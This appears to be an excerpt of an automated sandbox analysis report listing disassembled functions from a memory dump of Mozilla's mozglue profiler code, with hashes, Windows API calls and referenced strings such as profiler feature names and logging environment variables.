Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AD32FA71E0061A8FCB14CF99C891AADFBF6FF88304F548169C549A7749D731A986CF90

Function 6C9A6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 26cff432c6bf7d0ffcb6f2e2e27f16ed458dc96d990ff2a1125cd892639c8b0b
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7722E771E006198FCB14CF98C881AADF7F6FF88304F6585AAC949A7745D731A986CF90

Function 6C960512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d94f58ee42fb5d02735b99932e1db69094a25bb8d1a26329b756513ab0a021dd
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: F3221671E00669CFDB14CF99C890AADF7B2FF89304F548299C44AA7B45D731A986CF80

Function 6C9AAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction ID: efdacf0aab62df6c7f231ce5f765db74b08006f81168c1e8fe6ec234656f0a5c
Opcode Fuzzy Hash: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction Fuzzy Hash: 7BF16C716083459FD700CEA8C8903AFB7E6AFD5318F158A2DE4D4877C1EB74D84A8B92

Function 6C93C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 2a4494f1a7a4f43f703d8d1440dce5a5b512f2b715059b34582010fb00ec29e1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 8EA1A375F0062A8BDB08CE69C8913AEB7F2AFC8354F158269DD19E7781D7349D068BD0

Function 6C977710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: fd7d9cdace9c3315312a26db86c878ff5667fd99de77899d720e8690e1f23bc0
Instruction ID: 9420fb9d48113bd6b4fe2f260b8a1df4adb18b37253b677d368e0ef63385287b
Opcode Fuzzy Hash: fd7d9cdace9c3315312a26db86c878ff5667fd99de77899d720e8690e1f23bc0
Instruction Fuzzy Hash: 84716D75E022198FCF19CFA9C8905EEBBB6FF89314F24816ED415AB740D735A905CBA0

Function 6C9758E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 2d24df3e8679ba0080ab95f239a03dc9282072ea1367404ddf56845ab2df5d50
Instruction ID: d5826cf4376cc13c324a24c2a2065edeb81daad39b5042cd3690b0f8e59e7a90
Opcode Fuzzy Hash: 2d24df3e8679ba0080ab95f239a03dc9282072ea1367404ddf56845ab2df5d50
Instruction Fuzzy Hash: 55818C75A022199FCB14CFA8D8809EEBBF6FF89314F644269E411BB741D731E945CBA0

Function 6C97CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C94582D), ref: 6C97CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C94582D), ref: 6C97CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9AFE98,?,?,?,?,?,6C94582D), ref: 6C97CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C97CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C97CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C97CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C97CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C97CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C97CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C97CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C97CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C97CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C97CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C97CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C97CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C97CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C97CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C97CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C97CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C97CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C97CE8A

Strings

fileioall, xrefs: 6C97CCA8
audiocallbacktracing, xrefs: 6C97CDD4
processcpu, xrefs: 6C97CE6E
java, xrefs: 6C97CC37
samplingallthreads, xrefs: 6C97CE2C
cpuallthreads, xrefs: 6C97CE16
fileio, xrefs: 6C97CC92
markersallthreads, xrefs: 6C97CE42
default, xrefs: 6C97CC21
unregisteredthreads, xrefs: 6C97CE58
power, xrefs: 6C97CE84
ipcmessages, xrefs: 6C97CDBE
leaf, xrefs: 6C97CC66
noiostacks, xrefs: 6C97CCBE
nativeallocations, xrefs: 6C97CDA8
nostacksampling, xrefs: 6C97CD7C
seqstyle, xrefs: 6C97CCE6
jsallocations, xrefs: 6C97CD0E
screenshots, xrefs: 6C97CCD4
Unrecognized feature "%s"., xrefs: 6C97CEA0
preferencereads, xrefs: 6C97CD92
notimerresolutionchange, xrefs: 6C97CE00
stackwalk, xrefs: 6C97CCF8
mainthreadio, xrefs: 6C97CC7C

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction ID: a4d03bab346c1a1f50eca770fe61259e5c526608c654671fc60b60eeaa79f28f
Opcode Fuzzy Hash: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction Fuzzy Hash: 3451B9C1B0762662FB2031556E10BAB244DEFB325AF10443AED09A5F80FF45E61B86B7

Function 6C9447C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C944801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C944817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C94482D
__Init_thread_footer.LIBCMT ref: 6C94484A

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

GetCurrentThreadId.KERNEL32 ref: 6C94485F
GetCurrentThreadId.KERNEL32 ref: 6C94487E
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94488B
free.MOZGLUE(?), ref: 6C94493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C944956
free.MOZGLUE(00000000), ref: 6C944960
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94499A

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

free.MOZGLUE(?), ref: 6C9449C6
free.MOZGLUE(?), ref: 6C9449E9

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C944828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C944A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9447FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C944812
[I %d/%d] profiler_shutdown, xrefs: 6C944A06

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ed2044174abf12f9d906fb5c1fffe88f68be097f4c668a89d2f98243855ff137
Instruction ID: db579a6a6702de581b186732dcc5661b73d364c1750cdc70719c3934005fecdf
Opcode Fuzzy Hash: ed2044174abf12f9d906fb5c1fffe88f68be097f4c668a89d2f98243855ff137
Instruction Fuzzy Hash: E0812779A08100AFDB10DF68C88875B7775BF5231CF244629E916A7F86D730E854CF9A

Function 6C944470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C944730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
Part of subcall function 6C944730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9444D2
InitOnceExecuteOnce.KERNEL32(6C9BF80C,6C93F240,?,?), ref: 6C94451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94455C
LoadLibraryW.KERNEL32(?), ref: 6C944592
InitializeCriticalSection.KERNEL32(6C9BF770), ref: 6C9445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9445BB
InitOnceExecuteOnce.KERNEL32(6C9BF818,6C93F240,?,?), ref: 6C944612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C944636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C944644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C94466D
VerSetConditionMask.NTDLL ref: 6C94469F
VerSetConditionMask.NTDLL ref: 6C9446AB
VerSetConditionMask.NTDLL ref: 6C9446B2
VerSetConditionMask.NTDLL ref: 6C9446B9
VerSetConditionMask.NTDLL ref: 6C9446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9446FD

Strings

l, xrefs: 6C944578
WRusr.dll, xrefs: 6C9444B5
kernel32.dll, xrefs: 6C9444CD
user32.dll, xrefs: 6C944557, 6C94463F
NativeNtBlockSet_Write, xrefs: 6C9446F7

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction ID: 2bafa08cf8addf446e0a40b79bf35bfaab6f4de492a6d220e8b500c2ac318e21
Opcode Fuzzy Hash: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction Fuzzy Hash: B16102B8608344BFEB109F60C889B967BB8EB4670CF24C098E9049B691D7B0C944CF95

Function 6C97E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C977090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C97B9F1,?), ref: 6C977107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C97DCF5), ref: 6C97E92D
GetCurrentThreadId.KERNEL32 ref: 6C97EA4F
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EA80
GetCurrentThreadId.KERNEL32 ref: 6C97EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C97DCF5), ref: 6C97EA92
GetCurrentThreadId.KERNEL32 ref: 6C97EB11
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C97EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EB5B

Part of subcall function 6C975710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C97EB71), ref: 6C9757AB

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C97EBAC

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97EBC1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C97EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,00000000), ref: 6C97EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97EC46
CloseHandle.KERNEL32(?), ref: 6C97EC55
free.MOZGLUE(00000000), ref: 6C97EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C97EA9B
[I %d/%d] profiler_start, xrefs: 6C97EBB4

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 141eae7fe8671100a16a2f5a81d4decc7011a4b0efa1046cd812e9e3cef41389
Instruction ID: 4564b641ab553d9608937f08705a9aefb7649d57d5c0197cfeb19f7e77b0dcf9
Opcode Fuzzy Hash: 141eae7fe8671100a16a2f5a81d4decc7011a4b0efa1046cd812e9e3cef41389
Instruction Fuzzy Hash: 6CA1383D705204AFDB109F28C488BABB7B6FF96318F244029E91997F91DB70D805C7A5

Function 6C97F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C97F8F9

Part of subcall function 6C946390: GetCurrentThreadId.KERNEL32 ref: 6C9463D0
Part of subcall function 6C946390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9463DF
Part of subcall function 6C946390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C94640E

ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F93A
GetCurrentThreadId.KERNEL32 ref: 6C97F98A
GetCurrentThreadId.KERNEL32 ref: 6C97F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F716

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C93B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C93B5E0

GetCurrentThreadId.KERNEL32 ref: 6C97F739
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F746
GetCurrentThreadId.KERNEL32 ref: 6C97F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9B385B,00000002,?,?,?,?,?), ref: 6C97F829
free.MOZGLUE(?,?,00000000,?), ref: 6C97F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C97F866
free.MOZGLUE(?), ref: 6C97FA0C

Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C
Part of subcall function 6C945E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EAB
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EB8
Part of subcall function 6C945E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F53
Part of subcall function 6C945E60: GetCurrentThread.KERNEL32 ref: 6C945F5C
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F66
Part of subcall function 6C945E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E

free.MOZGLUE(?), ref: 6C97F9C5
free.MOZGLUE(?), ref: 6C97F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C97F9A6
" attempted to re-register as ", xrefs: 6C97F858
Thread , xrefs: 6C97F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C97F71F

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
